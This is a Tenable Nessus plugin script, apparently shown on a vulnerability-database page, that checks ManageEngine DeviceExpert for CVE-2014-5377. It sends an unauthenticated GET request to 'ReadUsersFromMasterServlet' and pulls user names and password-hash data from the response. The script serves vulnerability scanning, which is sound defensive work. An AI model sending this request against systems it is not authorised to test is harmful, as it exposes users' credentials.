Vulnerabilities > CVE-2014-5377 - Information Exposure vulnerability in Manageengine Device Expert

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(77530);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/02/26");

  script_cve_id("CVE-2014-5377");
  script_bugtraq_id(69443);
  script_xref(name:"EDB-ID", value:"34449");

  script_name(english:"ManageEngine DeviceExpert Unauthorized Information Disclosure");
  script_summary(english:"Tries to exploit the issue.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application affected by an
information disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"ManageEngine DeviceExpert exposes user names and password hashes via
a specially crafted GET request for 'ReadUsersFromMasterServlet'.");

  # https://www.manageengine.com/network-configuration-manager/release-notes.html#5981
  script_set_attribute(attribute:"see_also",value:"http://www.nessus.org/u?af669cc9");
  script_set_attribute(attribute:"solution", value:"Upgrade to DeviceExpert 5.9 Build 5981.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-5377");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"patch_publication_date", value:"2014/09/01");
  script_set_attribute(attribute:"vuln_publication_date", value:"2014/08/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/09/04");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine:device_expert");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2020 Tenable Network Security, Inc.");

  script_dependencies("manageengine_deviceexpert_detect.nasl");
  script_require_keys("installed_sw/manageengine_deviceexpert");
  script_require_ports("Services/www", 6060);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "manageengine_deviceexpert";
get_kb_item_or_exit("installed_sw/"+app);

port = get_http_port(default:6060);

install = get_single_install(
  app_name : app,
  port     : port
);

tar = "ReadUsersFromMasterServlet";
dir = install["path"];
url = build_url(port:port, qs:dir);

res = http_send_recv3(
  method       : "GET",
  item         : url+tar,
  port         : port,
  exit_on_fail : TRUE
);

username = pregmatch(pattern:"<username>([^<]+)<\/username>",string:res[2]);
if(
  empty_or_null(res) || empty_or_null(res[2]) ||
  empty_or_null(username)
) audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine DeviceExpert", url);

username = username[1];
report = NULL;
attach_file = NULL;
output = NULL;
req = http_last_sent_request();
request = NULL;

# If we got here, we got the information we needed
if (report_verbosity > 0)
{
  report =
    '\nNessus was able to verify the issue exists using the following request :' +
    '\n' +
    '\n' + req +
    '\n';
  if(report_verbosity <= 1)
  {
    report +=
      '\n' + "The response contained the following user name : "+
      '\n' +
      '\n' + username +
      '\n';
  }
  else if(report_verbosity > 1)
  {
    output = res[2];
    attach_file = "user_data.txt";
    request = make_list(req);
  }
}

security_report_v4(port:port,
                   extra:report,
                   severity:SECURITY_WARNING,
                   request:request,
                   file:attach_file,
                   output:output);